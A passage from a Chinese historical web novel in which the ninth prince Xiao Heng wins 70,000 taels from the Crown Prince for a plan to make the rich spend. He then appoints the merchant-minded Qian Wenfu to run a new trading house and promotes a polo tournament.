“说,”太子声音严厉。
“兹事体大,还请太子屏退左右,”萧恒没有直接开口询问,而是看了一眼四周道。
第49章:让富人的钱流动起来
太子目光落在萧恒身上,深邃难辨,指尖在紫檀木案几上轻轻叩击了两下,仿佛在权衡什么。
片刻太子抬起手,不着痕迹地一挥。
侍立一旁的贴身大太监刘承顺立刻会意,尖细却不失威严的嗓音荡开:“殿下有令,尔等皆退下。”
明德殿中侍奉的太监宫女们齐声应“诺!”。
顷刻间如潮水般无声退去,步履轻捷,训练有素。
就连太子心腹、刘承顺也躬身退出,临行前细心地将沉重的殿门缓缓合拢,发出一声几不可闻的闷响。
“咔哒。”
众人退去,偌大的宫殿骤然陷入一片寂静,只余雕花窗棂透入的天光,映出空中浮动的细微尘埃。
殿内如今只剩下太子与萧恒二人,空气仿佛凝滞,弥漫着一种无形的压力。
萧恒直到此刻,才真正抬起头,目光坦然迎向太子,开口问道,声音清晰而平稳:
“敢问太子,您认为如今我大梁的百姓,是穷是富?”
太子微微一怔,未料到萧恒屏退左右后,竟先抛出这样一个看似宏大却切中要害的问题。
太子面色沉凝,并未急于回答,而是缓缓道:“不是穷,是很穷,穷得已无退路。”
太子语气沉痛,毫不避讳:“建恒六年,淮州大旱,孤奉父皇之命亲往赈灾,所见所闻,触目惊心。”
“衣不蔽体、食不果腹乃是常态。”
“尤其是寒冬,多少人家中瓮底无粮,只能蜷缩于破屋草席之中,活活冻饿而死……”
太子的声音渐渐低沉,眼中似有波光闪动,仿佛又见到了那时的凄惨景象。
“彼时,孤曾以为仅是灾年之祸,然,事后孤命影刃司密查淮州历年卷宗才发现,即便是在风调雨顺之年。”
“百姓完税之后,家中所剩依旧难以果腹,秋末冬初,妇孺老幼上山挖采野菜晒干储冬,乃是常事。”
太子顿了顿,喉结滚动了一下,似在压抑情绪:“那野菜制成的饼子,孤尝过,粗粝苦涩,难以下咽,孤让景曜也试了一口……”
提及嫡长子萧景曜,太子语气更沉。
景曜乃梁帝嫡长孙,自幼深受帝宠,何曾吃过这般苦物?
“景曜刚入口便吐了,即便孤厉声斥责,他也未能咽下半口。”
太子嘴角牵起一丝苦涩的弧度,“孤亦曾将那份饼子呈于父皇,父皇尝了一口,得知此乃百姓活命之食,龙颜震怒,彻查淮州,罢黜官员无数,连布政使亦未能幸免。”
“可那又如何?”太子看向萧恒,目光锐利而疲惫。
“换一批官员,百姓之苦依旧如故,淮州如此,青州、禹州乃至整个大梁,何处不是如此?每年冬季,饿殍遍野,冻死骨无人收殓!”
说到此处,太子猛地抓起御案上萧恒那封萧恒的折子,声音陡然拔高,带着压抑不住的怒火。
“而你呢?身为皇子,大梁百姓凄苦至此,你却不思为国分忧,反而一心奢靡享乐,萧恒,你可之罪?”
面对太子的厉声质问,萧恒脸上却不见丝毫惶恐,反而目光澄澈,坦然回应:
“太子所言极是,我大梁百姓,确实很穷,穷得濒临绝境。”
“然,臣弟与太子所见略有不同,臣弟眼中,除了那些濒死的穷苦百姓,还看见另一群人,他们同样是我大梁子民,却富得流油。”
萧恒语速平稳,却字字清晰,掷地有声。
“他们靠盘剥兼并,夺人生计,锦衣玉食,堆金积玉。”
“府库地窖中,铜钱堆积如山,多到串钱的棉绳都被虫蛀朽烂,铜钱本身亦在潮湿中锈蚀成泥……但他们毫不在意,因为他们根本无需动用这些‘废铜烂铁’。”
萧恒将破铜烂铁四字咬得很重。
“同为一国百姓,为何有人富可敌国,有人却卖儿鬻女,世代为奴,或颠沛流离,成为饿殍?”
萧恒直视太子,缓缓道:“太子殿下,可曾听过一句诗?朱门酒肉臭,路有冻死骨。”
话音落下,太子瞳孔骤然一缩,握着奏折的手猛地收紧,指节泛白,殿内空气仿佛瞬间凝固。
死死盯着萧恒,声音压得极低,却带着前所未有的凝重:“萧恒,你可知你在说什么?
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此话若传出此殿,纵你是皇子之尊,亦有杀身之祸,那些人,绝非你可轻易撼动。”
萧恒闻言,反而轻轻笑了笑,语气缓和下来,甚至换回了更显亲近的称呼:“这里唯有皇兄与臣弟二人,不是吗?”
太子目光如炬,审视萧恒良久,紧绷的神色才稍稍缓和,喟然长叹。
“你须知这天下,并非谁比谁更聪明,一切不过是利益的权衡与制衡,你看得见的,父皇、孤,乃至朝中诸公,谁人看不见?”
太子语气沉重,一字一句道:“然,有些存在,根深蒂固,牵一发而动全身,非不为也,实不能也,纵是父皇,亦需顾忌三分,不敢轻动,你,明白吗?”
“皇兄言重了。”萧恒笑容不变,语气却愈发认真,“臣弟惜命,亦无那般翻天覆地的野心,臣弟所思所想,不过是一件事。”
萧恒向前微倾身体,压低声音道:“同为大梁子民,有些人坐拥金山银山,却任其埋于地下,腐朽锈蚀,一文不值。”
“钱,需流通方能称为钱,若只深藏地窖,与废铜烂铁何异?”
“是以,臣弟在想,能否想个法子,让这些死钱变活水,流动起来?”
“唯有让巨量财富浮出水面,流通于市,朝廷方能知其深浅,或可引导其利,惠及天下。”
“到时即便只是从他们指缝间漏出些许残羹,**万困苦百姓而言,亦是救命之薪,足可温饱,更能滋生更多财富。”
太子默默听着,手指无意识地摩挲着奏折的边缘,眼中神色变幻不定。
良久,太子再次拿起那封奏折,目光复杂地看向萧恒:“你所言的活水……就凭这?”
萧恒从容一笑,摇了摇头:“此物,不过是一块抛砖引玉的砖罢了。”
“正如皇兄所言,世家门阀,树大根深,硬碰绝非上策,历朝兴替,足为明鉴,臣弟岂会以卵击石?”
“然,”萧恒话锋一转,眼中闪过一抹锐光。
“欲让富者情愿掏出银钱,总需有个由头,有个让他们觉得有利可图,甚至不容错过的出处,不是吗?”
第50章:万一成功了呢
萧恒话落,又从袖口中掏出了一封折子,递给了太子。
“这是臣弟一些初步的想法,请皇兄过目。”
太子接过观看了起来,起初看得很快,但越看到后面太子的速度便越加了慢了起来。
一封折子太子整整看了一刻钟的时间,才将其全部观看完毕。
“嗯!”太子将折子缓缓放下,一手有意无意的敲击桌面。
半响之后才一脸认真的看向萧恒:“这折子中的内容,你给父皇看过没有。”
“没有,皇兄是除了臣弟之位的第一人。”
“若真这么做了,你可考虑过后果,”太子眯着眼道。
萧恒一笑:“只要皇兄地位稳固,臣弟便永远相安无事。”
太子闻言表情一怔,似笑非笑道:“你可想过你若将此物交给父皇,父皇定会重用你,你将有不小的机会。”
“若是你能成功,岂不是更加安全。”
萧恒听闻此话,呵呵一笑:“皇兄这话,皇兄自己信吗?”
“这么多年下来,父皇与皇兄早已遭受了多少次明里暗里的暗杀,皇兄能否记清?”
“所以,有些东西,臣子能做,但君主不能做。”
萧恒坦然说道。
萧恒这话不假,凡是改革皆是大臣做的。
至于君王的作用只有一个,那便是顺水推舟罢了。
而为何凡遇改革,往往支持的君主一死,改革必败。
但臣子**,却无伤大雅,反而会加速改革的步伐。
便是因为这样的臣子,往往都是君主的心腹大臣,背后有着君主的鼎力相助。
一旦这样的臣子**,君主定会雷霆震怒严查此事,拔出萝卜带出泥,乘机将反
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对的官员一股脑的清除掉,换成听话的官员。
而君王一旦**,重新上位的君王,必然是被其他臣子推上去,改革之路自然不会再继续下去。
太子闻言表情一怔,随即面露一丝苦笑。
还真是这么多年下来,自己不知道遭到了多少次刺杀了。
下毒,刺杀,暗杀等各种办法早也是见怪不怪了。
这也是为什么那日在野狼谷,面对突如其来的刺客,太子会这般的镇定自若了,因为见得太多,早就习惯了。
“这理由倒是新奇,”太子苦涩一笑。
随即无奈出声:“不过你的想法虽好,但想要成功实施,怕也并非易事。”
萧恒面色不变:“慢慢来呗,万一成功了呢。”
“就算最终啥也没做出来,也不过是回到原地,没有任何的损失。”
第51章:你当银子是大白菜啊
太子面色平静:“没有损失吗?”
“此事你若做了,最终成与不成,迎接你的都将是无尽的骂声。”
“成了,某些人利益受损,你身为这一切的主导者,他们将视你为眼中钉肉中刺。”
“若是不成,你在百姓心中的形象,便是一个只知享乐,不知民间百姓疾苦的皇室子弟。”
“被大梁的百姓指着脊梁骨的骂。”
“甚至会被史官记录在册,成为你一生的污点,即便是后世子孙也是这般看你。”
萧恒闻言面色丝毫不变,甚至露出了一丝淡淡的笑声。
“人生在世短短几十年,何不过的潇洒一点,想做什么就做什么?”
“何必在意他人的眼光,我乃大梁九皇子,这是铁打的事实,谁也改变不了。”
“只要这江山还在父皇,还在皇兄你手中,不管谁何人见到臣弟,都得恭敬的称呼一声臣弟为齐王。”
“谁敢当面骂我一句?”
“臣弟弄不死他。”
“无非就是私下骂一下罢了,又听不到,有什么用。”
“至于百姓的漫骂,”萧恒一脸语重心长道:“佛家不是有这么一句圣言吗,我不入地狱谁入地狱?”
“谁叫,臣弟是大梁的皇子,是你的亲弟弟呢,为了大梁百姓,为了皇兄,臣弟受这点委屈算得了什么。”
萧恒说得大义凛然,太子此刻看向萧恒的目光都变得柔和了不少。
多少年了啊,自家这个不争气的弟弟终于长大了啊。
终于不再胡闹,开始做正事了啊。
萧恒表情坚定,朝太子行了一礼:“所以臣弟今日所作之事,关乎国本啊。”
“无论如何还请皇兄鼎力相助,先拨五十万两银子给臣弟。”
“咳……多……多少?”太子脸上的感动之色还未消失,便瞬间凝固在了脸上。
“五十万两啊,”萧恒一本正经道:“来时臣弟特意打听了一下,此次周成光一案,从青州运回来了不少银两。”
“五十万两白银对现在的皇兄来说根本不是问题。”
“只要皇兄将这五十万两下拨到位,臣弟在这给皇兄你立下军令状,两年最多两年,臣
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弟绝对能从世家商贾身上狠狠咬下一块肉出来。”
“供给朝廷。”
太子没好气的说道:“你小子当五十万两是大白菜啊?”
“周成光一案是运回来不少银两,但那些银两还未入库,便已经有了去处了,你就别惦记了。”
萧恒表情难受:“可臣弟所做之事,也是利国利民的长远之事,关乎国本,若是没有银两先一步抛砖引玉。”
“没砖,这玉岂会轻易出现?”
“难道皇兄甘愿一直这般,明知何处有银子,但就是无法取来用之?”
“行了,少画饼了,”太子喝了一口茶:“八字还没一撇呢,大饼倒是一个劲的画,你这点倒是得到了父皇的真传。”
“啥也没有,就敢张口要五十万两白银,你也不怕将自己撑死。”
太子放下茶杯:“给你五万两白银,从东宫银库中出,算是我私人赞助的,直接划账你齐王府的账上。”
“若是失败,此事对外顶多是你大耗钱财的一次玩乐,被世家勋贵说道说道,被百姓骂两句无伤大雅。”
第52章:浑身都是戏
萧恒两眼一瞪不可置信道:“皇兄砍价哪有你这么砍的啊,臣弟要价五十万两,你一刀下来变成了五万两?”
“这中间简直是隔着一条深不见底的天渊啊,五万两实在是太少了,这样吧,臣弟也知道皇兄困难,臣弟减十万两,但四十万两不能再少了。”
“皇兄欲成大事者当不拘小节啊。”
萧恒满脸坚决。
太子眼神淡淡地看了一眼萧恒,语气平淡:“就五万两,你若是不要,就算了。”
萧恒表情凝固:“皇兄……!”
“不要是吧,那算了,”萧恒还未说什么,太子已经再度开口了。
“哎……要要要,”萧恒见状急忙出声,面色无奈道:“蚂蚱虽小但终归也有二两肉啊。”
“哟,还让你嫌弃上了?”太子鄙夷地看了一眼萧恒。
萧恒愁眉苦眼道:“哎,皇兄误会了,臣弟哪里敢嫌弃,不过是愁啊,毕竟巧妇难为无米之炊,缸中粮不够,如何煮出足够的吃食。”
太子沉默片刻,抬手揉了揉眉心:“最多再给你两万两,再多一厘都没了。”
“谢皇兄,”这次萧恒没再继续面露愁容之色,急忙起身行了一礼,满脸都是喜色。
“你莫高兴的太早,这银子不是白送给你的,是借,要还的。”
“知道知道,”萧恒一本正经道:“事后臣弟一定尽快,将这两万两银子还给皇兄。”
太子闻言眯了眯眼:“既然两万两就够了,那剩余的五万两,那便算了。”
“哎,不用……不用,都算借的,”萧恒急忙赔笑出声:“皇兄莫要与臣弟一般见识,臣弟忘性大,这不一下没有记起来。”
“哼,”太子闻言一脸嫌弃地挥了挥手:“滚吧,看你碍眼。”
“好嘞,皇兄你继续忙,臣弟告退,”萧恒应了一声,麻溜地退出了明德殿。
“臭小子与孤玩这招,”看着萧恒离去的背影,太子嘴角浮现出一抹笑意:“与父皇相比,你这点功底,实在是不值一提啊。”
话落太子目光落在了萧恒留下的那两份折子上,再次拿起了萧恒后面递出去的那封折子细细看了起来。
半响之后太子合上折子,目光看向远方,不知道在思考什么。
“摆驾紫宸殿,”思索片刻之后,太子将萧恒的折子放进了袖口,对外轻喝一声,朝梁帝所在的紫宸殿而去。
“七万两白银,竟然比预期还多出了两万两,不错不错,着实不错,”出了东宫,萧恒立即笑了起来。
但一想到此处乃是东宫前,若是太子知晓了,影响不好,又立即收起了脸上的笑意,一脸深沉地朝回宫走去。
来都来了,自然得去一趟皇后的寝宫,给皇后请一下安,刷一刷存在感。
太子抠门一事,在原著中便有着大量的描写,最有画面感的便是梁帝想要办事,找太子要钱,都得提前做足了准备,要不然都要不到。
尤其是军备方面,梁帝尚武,原著中对于周边异族的容忍度极低,尤其是北漠诸部的异族。
原著中曾写过梁帝多次挥兵北上,甚至有两次还不惜亲自御驾亲征。
由太子监国。
而每次梁帝北伐,最大的阻碍,不是群臣,而是太子。
太子的口头禅永远都是:“没钱。”
“没钱啊父皇!”
“真没钱啊父皇!”
“要不父皇你撸了儿臣吧,真没钱了啊父皇。”
只要梁帝开口,一个三句话不离要钱,一个句句回应没钱。
所以今日萧恒一开始的预期,其实就是五万两左右,之所以狮子大开口报价五十万两,纯粹的就是想要先用一个数字震一下太子。
让太子不能太过小气。
至于今日在东宫递给太子的折子,以及萧恒所说的那番话。
针对萧恒现在的内心来讲,半真半假吧,毕竟萧恒在原来的世界,只是一个底层的人物。
在这个世界虽说身份不一般了,但终归也没有见过多少底层的穷苦百姓,还无法做到感同身受,也无法做到一上来就要为民为国地奉献一切。
一切的理由不过让太子给钱,毕竟太子乃一国储君。
若是没有一个正当理由,太子怎么可能拿出几万两白银陪你玩。
尤其还是一个抠门的太子。
但说归说闹归闹,今日萧恒的话,也不全是胡说的,确有几分道理,不然太子也不可能任由萧恒胡闹下去。
还破天荒地给了七万两白银给萧恒。
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……
今儿真呀真高兴……!
从太子那里要到了银子,萧恒心情着实不错,一路哼着小曲回了府。
“钱文赋来了没有,”回到府中,萧恒对下人问道。
“回殿下,钱文赋已经到了,这会正在客厅候着呢,”一名内侍低声回答。
“嗯,”萧恒点了点头直接朝客厅走去。
此刻身材肥胖的钱文赋正满心忐忑地坐在客厅当中,屁股就坐了一个屁股尖,眼珠子不断打量四周,脸上满是紧张之色。
一旁放着一杯快要凉了的茶水,但钱文赋却一口没喝。
着实没有心情啊,今日齐王府的下人突然上门,说齐王要见自己。
钱文赋当场就懵了,自己虽说是宋国公的孙子,但却是妾室所出,既不受自己父亲宠爱,更加不受祖父宋国公的恩宠。
平日里在府中完全就是一个姥姥不疼舅舅不爱的一号人物,平日里混的圈子,也同样是一群庶子的圈子,从未与齐王打过交道。
唯一的一次便是那日的球赛了。
所以此刻钱文赋内心忐忑不已,齐王召见自己到底是为了何事?
尤其是来到了齐王府之后,齐王又迟迟不见面,连茶都凉了,齐王都未曾露面,钱文赋内心就更加忐忑了。
终于就在钱文赋内心无比忐忑之时,耳边传来了一阵脚步声。
脚步声传入耳中,钱文赋只以为是齐王回府,齐王府的下人来通知自己一声,去面见齐王。
结果当钱文赋抬头一看,却发现来人竟然是齐王本人。
齐王亲自来此接见自己,而不是让自己去面见齐王?
钱文赋神情瞬间就愣住了。
“咳……!”
还是跟在萧恒身后的三福见钱文赋表情呆愣地坐在椅子上,竟然未曾主动起身行礼,当即表情不满地轻咳了一声,才将愣神的钱文赋唤了回来。
急忙从椅子上起身,朝萧恒行了一个大礼。
“小民钱文赋叩见齐王殿下。”
钱文赋因是妾室所出,不受宋国公府待见,故而并未入国子监读书,读的是其他私塾,身上又无任何的功名。
国公的爵位也注定和他无缘,见到萧恒便只能自称小民亦或者草民一类的百姓称呼。
第53章:自视清高的圈子
“起来说话,”萧恒大步走到了主位,坐下之后对钱文赋说道。
“谢殿下,”钱文赋行礼起身。
“坐,”萧恒轻声说了一句,端起一旁下人刚上的热茶轻轻喝了一口。
开口道:“你对商贾之道颇有研究?”
屁股刚挨到椅子的钱文赋,听到萧恒的询问,立即就弹射了起来。
面露一丝恐慌:“殿下,小民祖父虽是国公,父亲也是大梁官员,但小民身上并无官职在身,只是一白身,按大梁律,是可以做生意的。”
萧恒闻言表情一怔,看了一眼钱文赋,发现对方满脸都是紧张之色。
顿时笑了笑:“莫要误会,大梁律法从未规定什么人才能经商,什么人不能经商。”
“就算你身上有官职在身,也是可以经商的,无人管你,今日本王叫你来,不是兴师问罪,是有事交给你去办。”
正如萧恒所言,大梁并未规定什么人才可以经商。
但士农工商的等级制度,在历朝历代的影响下,早已深入了每一个大梁人的骨子里了。
商人永远都是地位最低的一类存在,故而被人称为贱商。
凡是有点身份的存在,都以经商为耻。
就像眼前的钱文赋,虽是妾室所出,属于庶出。
平日里过的日子也是姥姥不疼舅舅不爱。
但其身份,只要没有成家,没有被宋国公对外宣称将他这一房分出去,从此以后不再与国公府有关联。
钱文赋的身份便依旧属于宋国公府的主脉,一言一行都关乎国公府的颜面。
所做之事便就只能听从国公府的安排,读书,考取功名都行。
不受宠归不受宠,但你若读书厉害,能考取功名,公国府脸上同样有光,所以在这方面,钱文赋的父亲亦或者祖父宋国公,自然不会打压。
不过其他人会不会暗中使绊子就不知道了。
这也是为什么,钱文赋在听到萧恒询问他对商贾之道颇有研究时,为何会面色恐慌了。
毕竟勋贵世家主脉的人经商,这在勋贵这个圈子里面,属于极为丢脸的一件事。
毕竟一个是士族,代表高贵,而一个是贱商,名字里面便有一个贱字。
极为讽刺。
很多身份尊贵者,极为看重这些,萧恒身为大梁齐王,若是对此不满。
给宋国公府随便传一句话,就那对自己不待见二娘子,绝对会立即拱火,自己那几乎透明一般的父亲,让其与自己断亲,将自己与母亲赶出府中。
但有意思的来了,凡是传承百年的勋贵世家,手中除了有大量的土地,同样也有无数的铺子,自己的商号。
嫡系子弟从出生开始,命运便是努力读书,然后进入仕途,高高在上。
旁系子弟便自动转变为下人,去族中商号里面,去当一个掌柜,为主脉输血。
至于主脉里面,一辈子都考不起功名,自身也实在垃圾,不堪大用的存在,便会到族中各地的田庄里面去,当个土皇帝。
钱文赋闻言表情同样一怔,抬头不可思议的看着萧恒。
眼前之人可是梁帝九子,齐王殿下啊,竟然就这般堂而皇之地的说出了这番话,士族也可以经商。
这话若是被士族勋贵听了去,怕不是以为,这是齐王在骂他们和卑贱的商人一样,上不得台面。
非得翻天不可,甚至是到梁帝面前**齐王都不是没有这个可能。
“怎么很意外?”萧恒笑了笑:“这大梁的勋贵暗地里做生意的还少吗?”
“别的不说,就说那开遍了大梁全国各地的聚福商号,谁人不知他是当今右相吴家的产业。”
“另外就说你宋国公府名下,虽说没有商号,但店铺也不少吧?”
萧恒满脸鄙夷道:“都是一群将头埋入沙漠中的鸵鸟罢了。”
鸵鸟是啥,钱文赋不知道,但从此刻齐王的脸上,钱文赋有一点可以肯定,此刻齐王说的绝对不是啥好词。
同时也从萧恒的几句话中,看出了一点道道,脸上的惶恐之色悄然退去。
开口说道:“回殿下的话,小民对于商贾之术,确实痴迷,但谈不上研究二字。”
“不用这般谦虚,”萧恒面色笑道:“本王查过你。”
“你从十三岁开始,便已经在外隐藏身份做起了生意。
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”
“只不过碍于身份,你不敢做的太大,一直在刻意隐忍,控制规模。”
“不过即便如此,你现在的资产也是小有规模了,已经有了好几家铺子,甚至去年你还跑到隔壁青阳县,购置了二百亩土地,。”
“以及在外城花了三千两纹银,购买一座三进出的宅院。”
“土地加上购买宅院的钱,你一口气花出去了近五千两白银。”
“本王说的可有出处?”萧恒拿起一旁的一封折子,满脸笑意的看着钱文赋。
三福接过折子,走到了钱文赋面前。
此刻钱文赋面色苍白,额头冒出丝丝细汗。
看着眼前的折子,双手有些颤抖的抬起,接了过来。
打开一开,心中悬着的一颗心,彻底**。
折子里面,自己近几年的所作所为,几乎被查的清清楚楚,底裤都给扒了一个干净。
“殿下明察,”钱文赋跪了下去,声音颤抖:“小民所做一切,并未刻意隐瞒什么。”
“全然是因为,小民与母亲在府中的各种月钱米油等各种该发放的每月额度,都会被每月发放月钱的二娘子,也各种理由进行克扣。”
宋国公府,目前宋国公年事已高,已经几乎不在过问府中大小事务了,老夫人也早在多年前便去世了。
如今宋国公府的一切大小事务,都是由宋国公世子钱俊彦当家做主。
目前钱俊彦任职大梁通政使司、通政使,官拜正三品,掌内外奏章,臣民密封申诉等,属于实权官职。
不过钱俊彦的正室,也就是大娘子林氏,常年体弱多病,多年前就开始吃斋念佛。
于是后院大权便落在了二娘子陈氏手中。
原来大娘子掌权的时候,对于钱文赋这娘两,虽说同样不喜。
但大娘子林氏毕竟出自名门,骨子里的教养,并未对其克扣什么。
可随着大娘子林氏不管事之后,二娘子陈氏掌权后院之后,陈氏出自小家小户。
性子偏激,守财,于是便开始了克扣后院的各种月钱物资等各种发放。
还美名其曰是为了勤俭持家,不养成奢靡之风。
第54章:民生商号
不过据萧恒派人调查,这一切不过是陈氏克扣月钱的借口罢了。
自陈氏掌权以来,她自己的生活极为奢靡,连带着娘家的日子也越发滋润了起来。
钱文赋声音发颤,解释道:“按府里旧例,像小民这般身份的,一旦成年娶妻,便得搬出国公府自立门户。”
“可二娘子一向不喜小民与家母,小民尚在府中时,她便敢明目张胆的克扣家母院中的月钱。”
“若日后小民搬了出去,只剩家母一人,她在府中的日子只怕更不好过。”
“所以小民才想着暗中做些生意,私下置办些产业,待离府之后,也好将家母接出去奉养,让她晚年有所依靠。”
“小民并非有意隐瞒,恳请殿下明鉴。”
“先起来罢,大梁没动不动就跪的规矩,”萧恒语气平和,面色如常。
“诺。”钱文赋站起身来,脸上紧张未褪。
“不必如此紧张,”萧恒看他神情不由一笑,“你所为母亲打算,是尽孝道,既合律法,也顺礼法。”
“放松些,今日叫你来,是本王打算自己成立一家商号,想请你来做明面上的管事,你可愿意?”
见钱文赋仍绷着身子,萧恒不再绕弯,直言来意。
“殿下要成立商号……请、请小民做管事?”
钱文赋猛地抬头,嘴张得老大,几乎能塞进一个鹅蛋。
“怎么,不愿?”萧恒端起茶盏,轻拨茶沫,目光静落在他脸上。
“不不不!”钱文赋倏地回神,大喜过望,“能为殿下效力,是小民八辈子修来的福分,小民高兴都来不及,怎会不愿。”
“只是喜讯来得太突然,一时怔住了,请殿下恕罪。”
钱文赋急声说道,连自称也从小民悄悄换成了属下,生怕晚了一瞬,萧恒就改了主意。
萧恒嘴角微扬,不愧是原著后期的大梁首富,反应倒是快。
“答应得这么爽快,不再想想?”萧恒笑问。
钱文赋神色恳切:“属下清楚自己的身份,若无今日机缘,此生也不过勉强温饱,至多日后做点小买卖,成不了气候。”
“殿下愿重用属下,是属下的造化,更是属下的机遇,若这般天大的机会都抓不住,属下与愚钝牲畜又有何异?”
钱文赋语带诚恳,却也藏了一份私心。
这些年来,他在父亲眼中始终如同透明,父亲甚至对下人的孩子都能笑赞两句,对他却永远冷淡如水。
祖父宋国公更不必说,莫说勉励,就连平日请安,他都无资格上前,唯有年节寿宴,才能远远站着一瞥。
这日子,他早已受够了。
所以面对萧恒抛出的榄枝,钱文赋几乎想也不想便紧紧抓住。
你们不是都不看重我吗?我偏要做出番事业来!
齐王殿下的商号,明面上由我做主,倒要看看日后谁还敢轻看于我,那二娘子还敢不敢克扣母亲的月钱。
钱文赋暗暗发誓,定要在齐王麾下干出一番名堂,好好为母亲争一口气,叫所有轻视他们的人瞠目结舌。
“很好,”萧恒一笑:“从今日起,你便是民生商号的大掌柜了。”
“商号的一切事务,除了本王外,你拥有最高决定权。”
“除了部分事务,本王会交代你做,剩下的事情,用什么人,怎么发展,你都可以自行做主。”
“当然有一点,不能触碰大梁的律法,你可明白。”
“属下明白,”钱文赋脸上是压不住的喜色,没想到齐王殿下如此看重自己。
一来就直接让自己掌了商号大权。
当即一脸恭敬道:“殿下,民生商号总铺在何处,一会还请殿下派人为属下领路,属下先去熟悉一下环境,才能尽快上手,为殿下效力。”
“没有,”萧恒面色平静出声。
“没有?”钱文赋一时没有反应过来。
萧恒道:“民生商号目前还没有总店,就只有一个名字。”
“而你钱文赋,”萧恒一脸认真:“是民生商号的一号员工,也是目前唯一的一个。”
“至于总铺放在那,员工有多少,都需要你自己去办。”
“啊……?”
钱文赋表情呆愣,不敢相信自己的耳朵。
感情现在所谓的民生商号什么都还在没有,连个员工都没有?
钱文赋还以为齐王殿下早就布局了,只是随着摊子铺开了,这才找上了自己。
“京都最
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不缺的是什么,就是人才,本王能直接唤你来,将这等重任交到你手中,是对你的信任,更是对你能力的肯定。”
见钱文赋一脸愣神的表情,萧恒一本正经的胡诌道。
“所以你可千万莫要让本王失望,你可明白?”
萧恒的语气逐渐失去了一开始的那丝温和。
“诺,”钱文赋神情一震,急忙回应道:“请殿下放心,属下定不会让殿下失望的。”
萧恒闻言点了点头,继续说道:“民生商号的总铺在哪里,你自己去选,相信你比本王更加专业。”
“至于银两,你无需担忧,本王为你备了五万两白银,在商号没有自己的银库之前,你可以直接来府中,需要多少银子的支出,三福会直接给你。”
“等商号敲定之后,你便可将剩余的银两,直接转移到商号银库中去,如何支配你自己看着办便是。”
“诺,”钱文赋应了一声,眼中全是神采。
“另外你看看这个,”萧恒掏出了数张手绘的图纸。
图纸上的图案,是一匹身姿矫健的马匹,
一共七个造型,有一眼看去,帅气逼人的存在,也有萌的一批的存在。
钱文赋接过一看,没有看懂,不敢说过多的话,抬头看向萧恒:“殿下这是图案是?”
“本王亲自设计的一个小玩意,”萧恒说道:“你下去之后,立即找人将其做出来,第一批样品先送到本王这里,本王看过合格之后,你再开始大规模生产。”
“记住,一定要注意保密,没有本王的命令,这图纸上的任何一件物品都不准流出去。”
“对于材质,可以分数个档次,最高档次的,一定要让人一眼看上去,就知道他贵,华丽,知道不。”
萧恒说得很直白。
“明白,此事属下会亲自盯着,绝对不会出任何一点披露,”钱文赋恭敬出声道。
随即视线落到图案上,就是一通猛夸:“怪不得这图案看上去,是那么的高雅,原来是殿下亲自设计的。”
……
钱文赋酷酷就是一通夸奖,听的萧恒直翻白眼。
这货日后能成为大梁首富是有原因的啊,就凭这口才,就差不了。
第55章:钓鱼
钱文赋离了齐王府,片刻未停,立刻依照萧恒的吩咐,寻访匠人制作图纸上所绘之物。
至于其他,他一句未多问。
既是殿下的意思,自有殿下的道理,他只需将交代的差事办妥便是。
转眼数日过去。
时值建恒十一年七月初二,天朗气清。黄历上写着:宜开市。
“你听说了没?齐王府要办一场马球大赛,阵仗可不小!”
“嘿,你这消息也忒迟了!这事儿还用听说?”
“各城门、闹市口,早几天就贴出告示了。齐王府这次办比赛,不拘身份、来者不拒——只要符合报名条件,都能去齐王府报名。”
“最后胜出的,还有重赏呢!”
“赏什么?”旁边有人凑过来,好奇地问。
“告示上没明说,可齐王是什么人?陛下的亲儿子!殿下亲口许下的奖赏,能差吗?”
“胜出真能有赏?”有人听得眼睛发亮,急忙挤上前,“普通老百姓也行?”
“按理是行的,”另一人咂咂嘴,“不过齐王府要求:每队得有正式和替补队员,加在一起至少十三人。也就是说,你得有十三匹马,还得是良驹,不能是驽马——你凑得出来么?”
这话一出,方才还跃跃欲试的几人顿时蔫了。
莫说十三匹,就是一匹像样的马,他们也弄不来。
“得嘞,这摆明是富贵人家的乐子,咱们就别惦记了。”
“到时候能去凑个热闹瞧瞧,就算不错啦!”
“是啊,到时候一块儿去!我前几日路过城外,看见好多人在那儿扩建场地,可比从前气派多了!”
自数日前萧恒有意将消息放出去,并派人多方宣扬,如今整个京城、大小街巷、茶坊酒肆之中,百姓们津津乐道最多的,便是这场马球盛事。
当然,私底下痛骂萧恒的也不在少数。尤其是底层百姓,不少人都在心中大骂这位齐王——日子都快过不下去了,他竟还大兴奢靡之风!
不少御史为此上书**萧恒,措辞一个比一个激烈。
不过连续数日,**的折子送入宫中,无论梁帝还是太子,都未见有所表示。
除了几个头铁的御史依旧不依不饶,大多数人都选择了观望,想先瞧瞧风向,再作打算。
“殿下,宫中传来消息,今日朝会时,仍有御史**殿下奢靡无度,恳请陛下下旨严惩。”
城外河边,萧恒手持钓竿,闲适地坐在躺椅中。头顶是用布幔搭起的遮阳棚,一旁设着茶几,摆满时令鲜果,两侧侍立着两名清秀丫鬟,四周散站着十余名护卫。
三福躬身站在萧恒身后,低声禀报。
萧恒面色如常,一手稳持钓竿,另一手拈了块糕点。
“自从马球赛的消息传开,每日**本王的折子没有一百也有八十,本王不还照样在此悠闲钓鱼?”他嗤笑一声,将糕点送入口中,“赛事筹备不也没耽误?随他们闹去。”
“咻——!”
话音未落,他手中钓竿猛地一沉。萧恒忙将半块糕点塞进嘴里,双手控竿,含糊道:“上钩了上钩了!”
鱼线那头传来的力道不大,无须溜鱼。萧恒手腕一扬,径直将鱼竿提起——一尾银鳞闪耀的鲤鱼应声出水,约有巴掌大小。
三福赶忙上前,利落地摘钩取鱼。
“扑通”一声,鱼儿被扔进一旁的大木桶。桶里已有十来尾鱼,小的不足半斤,大的却足有十来斤,挤得几乎转不过身。
“殿下钓技越发精湛了,这已是今日第十三条了。”三福赔笑道。
“这滋味,痛快。”萧恒递过鱼竿,起身舒展筋骨。
这个时代的河流还未遭过度捕捞,鱼资源着实丰饶。不过半日,他便收获颇丰。若在前世,这是想都不敢想的事——常常出门一整天,最终也只是“喂鱼”罢了。
“哎,老伯,今日收获如何?”此时上游漂来一叶小舟,船头船尾各立一人,一中年一老者,面容相似,像是一对父子。中年人撑船,老者正在船尾撒网。
萧恒扬声向船上二人问道。
老者一边收网,一边笑答:“托您的福,今日运气不赖!”
网离水面,可见一大小三条鱼在网中挣扎。老者将鱼摘出丢进船底的浅水舱,便收了网。中年人则将船缓缓靠向
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岸边。
萧恒踱步近前,只见船底鱼儿翻跳,少说二三十尾,舱中浅浅积水,鱼尾拍得水花四溅。
他收回目光,笑问:“老伯既收获颇丰,怎不趁机再多捕几网?”
